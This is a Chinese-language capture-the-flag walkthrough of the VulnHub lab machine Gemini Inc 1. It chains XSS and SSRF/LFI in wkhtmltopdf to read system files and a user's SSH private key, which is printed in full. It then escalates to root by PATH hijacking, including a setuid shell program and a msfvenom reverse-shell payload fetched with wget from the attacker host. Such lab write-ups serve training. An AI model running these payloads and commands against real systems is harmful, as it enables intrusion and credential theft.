目录
介绍
系列:Gemini Inc(此系列共2台)
**发布日期:**2018年01月09日
**注释: **使用vmwar workstation运行虚拟机
**难度: **中
**目标: **取得 root 权限 + Flag
攻击方法:
- 主机发现
- 端口扫描
- 信息收集
- 开源代码泄漏
- XSS漏洞
- SSRF漏洞
- LFI漏洞
- 服务端组件漏洞
- SSH公钥认证
- SUID权限漏洞
- 环境变量篡改
- 本地提权
靶机地址:https://www.vulnhub.com/entry/gemini-inc-1,227/
主机发现
netdiscover主机发现
sudo netdiscover -i eth0 -r 192.168.239.0/24
主机信息探测
nmap -p- 192.168.239.137
nmap -p22,80 -A 192.168.239.137
网站探测
开局一张图,根据提示信息得知靶机泄露了网站源码,通过install.php发现网站存在硬编码漏洞,直接找到用户名密码:admin、1234,登录的时候发现登录按钮打不开,挂上梯子之后能登录了。
发现XSS漏洞
修改了个人信息后,页面可以正常回显出内容。测试一下XSS呢?
添加了一个简单的XSS语句,查看个人信息的时候直接弹框,证明漏洞存在。
SSRF+LFI
能发现这个利用点的,都是大佬。
在常规的网页探测,目录扫描无果后,把注意力放在了导出文件的这个按钮上,我平常是不看这个东西的,因为实战中从来没发现过什么漏洞,这次发现,下载下来的文件的创建者是“wkhtmltopdf 0.12.4”,网上搜索得知这是一个把html转换成pdf的工具。你觉得网上直接搜这个工具的漏洞就能打穿靶机吗?不能。很多利用文章是无效的,有效的文章里面还有坑。
一些验证:
1. 加载本地资源失败
把上文插入XSS语句的位置,修改为如下内容:<iframe src="file:///etc/passwd"></iframe>
,然后导出文件,利用失败。
2. 加载远程资源成功
首先在kali上面放置了一个文件,内容为“123456”,然后开启web服务。
之后修改为如下利用代码:<iframe src="http://192.168.239.130/1.txt"></iframe>
,一旦保存配置,就会看到靶机已经加载了kali的文件内容
拓展:如果你觉得创建一个文件再开启一个web服务比较繁琐,也有更快一步的操作方式。
姿势1:nc监听端口
- kali准备:
nc -nvlp 1234
- 填入测试代码:
<iframe src="http://192.168.239.130:1234"></iframe>
当我保存配置的时候,我的浏览器发出请求,kali收到了来自 192.168.239.1 的连接,此时nc会断开连接,立即重新开始监听,当我导出配置的时候,收到了来自靶机的连接,通过ua可以确定靶机确实连接我了
姿势2:PHP监听端口
根据https://www.php.net/manual/en/features.commandline.webserver.php
得知我可以使用PHP开启一个web服务
- kali准备:
php -S 0.0.0.0:5678
- 填入测试代码:
<iframe src="http://192.168.239.130:5678"></iframe>
在kali中看到了来自靶机的请求,而靶机的导出页面看到了PHP文件不存在的默认界面。
3. 利用失败
参考:http://hassankhanyusufzai.com/SSRF-to-LFI/
根据这篇文章的描述,我可以让靶机读取攻击者的一个恶意文件,通过这个文件再去读取靶机上的敏感文件。
攻击者准备攻击代码并开启web服务:<?php header('location:file://'.$_REQUEST['url']); ?>
浏览器中输入如下代码:
"><iframe height="2000" width="800" src=http://192.168.239.130/a.php?url=/etc/passwd></iframe>
但是很奇怪的是,一旦来到当前帐号页面,浏览器就自动下载了a.php,导出的配置文件里也没有可利用信息
4. 排雷
经过不断尝试,我通过如下方法绕过了这个坑。由于个人习惯的原因,我使用python开启web环境,然后让靶机 下载利用文件的,于是就出现了刚保存配置浏览器就自动下载文件,并且导出的配置文件里没有内容。在网上不断搜索后,我试着使用apache来开启web服务,于是就出现了如下的一幕,以至于我严重怀疑换用apache能不能行
利用代码改为如下内容(个人觉得改不改无所谓,照抄上述链接的格式应该也行):
<iframe height="4000" width="800" src="http://192.168.239.130/a.php?url=/etc/passwd"></iframe>
5. 读取更多敏感信息
在源代码中搜索一番后,在 这个页面 上发现了存放数据库连接账密文件的路径,经过测试,靶机的web路径是常见的/var/www/html/
,于是尝试读取:
<iframe height="4000" width="800" src="http://192.168.239.130/a.php?url=/var/www/html/test2/inc/settings.php"></iframe>
拿着这里面的密码,尝试对用户账号SSH爆破,失败。这个时候捋一捋思路,凭借任意文件读取,还有哪些思路能拿下靶机?除了密码登录外还有一种办法是公钥身份认证登录。
6. 公钥身份认证登录
查看靶机支持的SSH连接方式:ssh gemini1@192.168.239.137 -v
,发现靶机支持公钥身份认证登录。如果这样,/home/gemini1/.ssh
目录下有可能存在id_rsa
、id_rsa.pub
或者 authorized_keys
文件。
想实现免密登录的话,思路与操作参见之前的文章:语雀地址、CSDN地址
读取私钥:
<iframe height="4000" width="800" src="http://192.168.239.130/a.php?url=/home/gemini1/.ssh/id_rsa"></iframe>
读取公钥:
<iframe height="4000" width="800" src="http://192.168.239.130/a.php?url=/home/gemini1/.ssh/id_rsa.pub"></iframe>
确认存在authorized_keys文件:
<iframe height="4000" width="800" src="http://192.168.239.130/a.php?url=/home/gemini1/.ssh/authorized_keys"></iframe>
- 读取到私钥内容(读取到的内容直接复制粘贴到notepad++中,不会出现排版异常问题)
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAv8sYkCmUFupwQ8pXsm0XCAyxcR6m5y9GfRWmQmrvb9qJP3xs
6c11dX9Mi8OLBpKuB+Y08aTgWbEtUAkVEpRU+mk+wpSx54OTBMFX35x4snzz+X5u
Vl1rUn9Z4QE5SJpOvfV3Ddw9zlVA0MCJGi/RW4ODRYmPHesqNHaMGKqTnRmn3/4V
u7cl+KpPZmQJzASoffyBn1bxQomqTkb5AGhkAggsOPS0xv6P2g/mcmMUIRWaTH4Z
DqrpqxFtJbuWSszPhuw3LLqAYry0RlEH/Mdi2RxM3VZvqDRlsV0DO74qyBhBsq+p
oSbdwoXao8n7oO2ASHc05d2vtmmmGP31+4pjuQIDAQABAoIBAQCq+WuJQHeSwiWY
WS46kkNg2qfoNrIFD8Dfy0ful5OhfAiz/sC84HrgZr4fLg+mqWXZBuCVtiyF6IuD
eMU/Tdo/bUkUfyflQgbyy0UBw2RZgUihVpMYDKma3oqKKeQeE+k0MDmUsoyqfpeM
QMc3//67fQ6uE8Xwnu593FxhtNZoyaYgz8LTpYRsaoui9j7mrQ4Q19VOQ16u4XlZ
rVtRFjQqBmAKeASTaYpWKnsgoFudp6xyxWzS4uk6BlAom0teBwkcnzx9fNd2vCYR
MhK5KLTDvWUf3d+eUcoUy1h+yjPvdDmlC27vcvZ0GXVvyRks+sjbNMYWl+QvNIZn
1XxD1nkxAoGBAODe4NKq0r2Biq0V/97xx76oz5zX4drh1aE6X+osRqk4+4soLauI
xHaApYWYKlk4OBPMzWQC0a8mQOaL1LalYSEL8wKkkaAvfM604f3fo01rMKn9vNRC
1fAms6caNqJDPIMvOyYRe4PALNf6Yw0Hty0KowC46HHkmWEgw/pEhOZdAoGBANpY
AJEhiG27iqxdHdyHC2rVnA9o2t5yZ7qqBExF7zyUJkIbgiLLyliE5JYhdZjd+abl
aSdSvTKOqrxscnPmWVIxDyLDxemH7iZsEbhLkIsSKgMjCDhPBROivyQGfY17EHPu
968rdQsmJK8+X5aWxq08VzlKwArm+GeDs2hrCGUNAoGAc1G5SDA0XNz3CiaTDnk9
r0gRGGUZvU89aC5wi73jCttfHJEhQquj3QXCXM2ZQiHzmCvaVOShNcpPVCv3jSco
tXLUT9GnoNdZkQPwNWqf648B6NtoIA6aekrOrO5jgDks6jWphq9GgV1nYedVLpR7
WszupOsuwWGzSr0r48eJxD0CgYEAo23HTtpIocoEbCtulIhIVXj5zNbxLBt55NAp
U2XtQeyqDkVEzQK4vDUMXAtDWF6d5PxGDvbxQoxi45JQwMukA89QwvbChqAF86Bk
SwvUbyPzalGob21GIYJpi2+IPoPktsIhhm4Ct4ufXcRUDAVjRHur1ehLgl2LhP+h
JAEpUWkCgYEAj2kz6b+FeK+xK+FUuDbd88vjU6FB8+FL7mQFQ2Ae9IWNyuTQSpGh
vXAtW/c+eaiO4gHRz60wW+FvItFa7kZAmylCAugK1m8/Ff5VZ0rHDP2YsUHT4+Bt
j8XYDMgMA8VYk6alU2rEEzqZlru7BZiwUnz7QLzauGwg8ohv1H2NP9k=
-----END RSA PRIVATE KEY-----
- 读取公钥内容,确认公钥是gemini1用户的
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQC/yxiQKZQW6nBDyleybRcIDLFxHqbnL0Z9FaZCau9v2ok/fGzpzXV1f0yLw4sGkq4H5jTxp
OBZsS1QCRUSlFT6aT7ClLHng5MEwVffnHiyfPP5fm5WXWtSf1nhATlImk699XcN3D3OVUDQwIkaL9Fbg4NFiY8d6yo0dowYqpOdGaff/
hW7tyX4qk9mZAnMBKh9/IGfVvFCiapORvkAaGQCCCw49LTG/o/aD+ZyYxQhFZpMfhkOqumrEW0lu5ZKzM+G7DcsuoBivLRGUQf8x2L
ZHEzdVm+oNGWxXQM7virIGEGyr6mhJt3Chdqjyfug7YBIdzTl3a+2aaYY/fX7imO5 gemini1@geminiinc
- 读取authorized_keys文件
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQC/yxiQKZQW6nBDyleybRcIDLFxHqbnL0Z9FaZCau9v2ok/fGzpzXV1f0yLw4sGkq4H5jTxp
OBZsS1QCRUSlFT6aT7ClLHng5MEwVffnHiyfPP5fm5WXWtSf1nhATlImk699XcN3D3OVUDQwIkaL9Fbg4NFiY8d6yo0dowYqpOdGaff/
hW7tyX4qk9mZAnMBKh9/IGfVvFCiapORvkAaGQCCCw49LTG/o/aD+ZyYxQhFZpMfhkOqumrEW0lu5ZKzM+G7DcsuoBivLRGUQf8x2L
ZHEzdVm+oNGWxXQM7virIGEGyr6mhJt3Chdqjyfug7YBIdzTl3a+2aaYY/fX7imO5 gemini1@geminiinc
- 免密登录
经过比对确认“authorized_keys”和“id_rsa.pub”内容一致,说明可以免密登录
vim id_rsa
chmod 400 id_rsa
ssh -i id_rsa gemini1@192.168.239.137
SUID提权
在靶机上搜索既可执行,又有suid权限,所有者是root的文件
find / -type f -user root -perm -u+sx -ls 2>/dev/null
对里面的文件进行分析,发现了一个奇怪的文件,直接运行它显示了一些系统信息。
file
命令发现这是一个可执行文件,strings
命令查看可打印字符,发现这个工具在运行date
命令时没有指定其路径。那么思路就有了,我可以生成一个恶意的”date”文件,并绑定环境变量,这样运行“listinfo”时我就有机会提权了。
修改环境变量提权
姿势1:编译运行一个文件,来获取一个具有root权限的终端【效果最完美】
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
- 查看环境变量和
date
的位置时,发现date
是在/bin
目录下的,而/bin
目录是在环境变量中的
echo $PATH
which date
- 添加环境变量
我第一次添加环境变量时,不慎把文件的绝对路径加上去了,导致提权失败。后来把恶意文件所在的路径添加到环境变量中才提权成功。
注意:我这里是把恶意的date
所在路径放在了环境变量最前面的,是一种更稳妥的提权姿势。
export PATH=/home/gemini1:$PATH
echo $PATH
姿势2:直接编写【操作最简单】
cd /tmp
echo "/bin/sh" > date
chmod 777 date
export PATH=/tmp:$PATH
echo $PATH
/usr/bin/listinfo
姿势3:msf生成一个反弹shell的恶意文件
攻击者准备:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.239.130 LPORT=443 -f elf > date
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.239.130
set LPORT 443
exploit
受害者准备:
wget http://192.168.239.130:8080/date
echo $PATH
export PATH=/home/gemini1:$PATH
注意到,拿到的meterpreter是root权限的,shell终端是普通用户权限。而且listinfo会卡住,如果关闭次程序,meterpreter会直接断开。
总结
参考
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134222.html